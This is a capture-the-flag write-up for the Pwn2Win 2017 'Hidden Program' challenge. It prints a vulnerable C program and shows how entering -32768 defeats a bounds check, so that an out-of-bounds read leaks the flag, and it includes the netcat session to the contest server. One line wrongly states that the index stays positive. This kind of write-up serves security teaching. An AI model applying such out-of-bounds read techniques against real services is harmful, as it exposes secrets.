Pwn2Win CTF 2017 - Write-up

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

Hidden Program - Exploitation#

Molly found this program hidden on her chip, can you help her to understand it?

Here is the program:

#include <stdio.h>
#include <limits.h>
#include <string.h>

typedef struct
{
    char flag[SHRT_MAX+1];
    char in[SHRT_MAX+1];
    char sub[SHRT_MAX+1];
    int n;
} player;

player p1;

void main()
{    
    FILE *fp = fopen("/home/hidden-program/flag","r");
    memset(p1.flag,0,sizeof(p1.flag));
    fscanf(fp,"%[^\n]",p1.flag);
    fclose(fp);
    while(1)
    {
        printf("Insert a short integer: ");
        fflush(stdout);
        scanf(" %d", &p1.n);
        if(p1.n>SHRT_MAX)
            printf("Invalid number\n\n");
        else break;
    }
    p1.n = (short)abs((short)p1.n);
    printf("Insert a string: ");
    fflush(stdout);
    scanf("%10000s",p1.in);
    printf("Insert another string: ");
    fflush(stdout);
    scanf("%10000s",p1.sub);
    if(strcmp(&p1.in[p1.n],p1.sub)==0) printf("Congratulations!! YOU WIN!!\n");
    else
        printf("\tYou lost!!!\n\
        In the string %s the substring in the position %d is %s\n\
        Try again...\n", p1.in, p1.n, &p1.in[p1.n]);
    fflush(stdout);
}

We can see that the only check done after inserting a number is if(p1.n>SHRT_MAX) so if we send n < 0 this will be valid.

We can see the structure is:

typedef struct
{
    char flag[SHRT_MAX+1];
    char in[SHRT_MAX+1];
    char sub[SHRT_MAX+1];
    int n;
} player;

We know the size of SHRT_MAX is 32767. So if instead of putting a size n > 0 for in we put -32768, when scanf(" %d", &p1.n); will be called we will get the address of flag instead but p1.n will still be positive thanks to p1.n = (short)abs((short)p1.n);.

After that we put wrong string to trigger the printf:

printf("\tYou lost!!!\n\
In the string %s the substring in the position %d is %s\n\
Try again...\n", p1.in, p1.n, &p1.in[p1.n]);

But here &p1.in[p1.n] will be equal to p1.flag.

Let's try it:

$ nc 200.136.213.126 1988
Insert a short integer: -32768
Insert a string: a
Insert another string: b
	You lost!!!
        In the string a the substring in the position -32768 is CTF-BR{Th1s_1S_4_50_5Imp13_C_exp1017_}
        Try again...
Share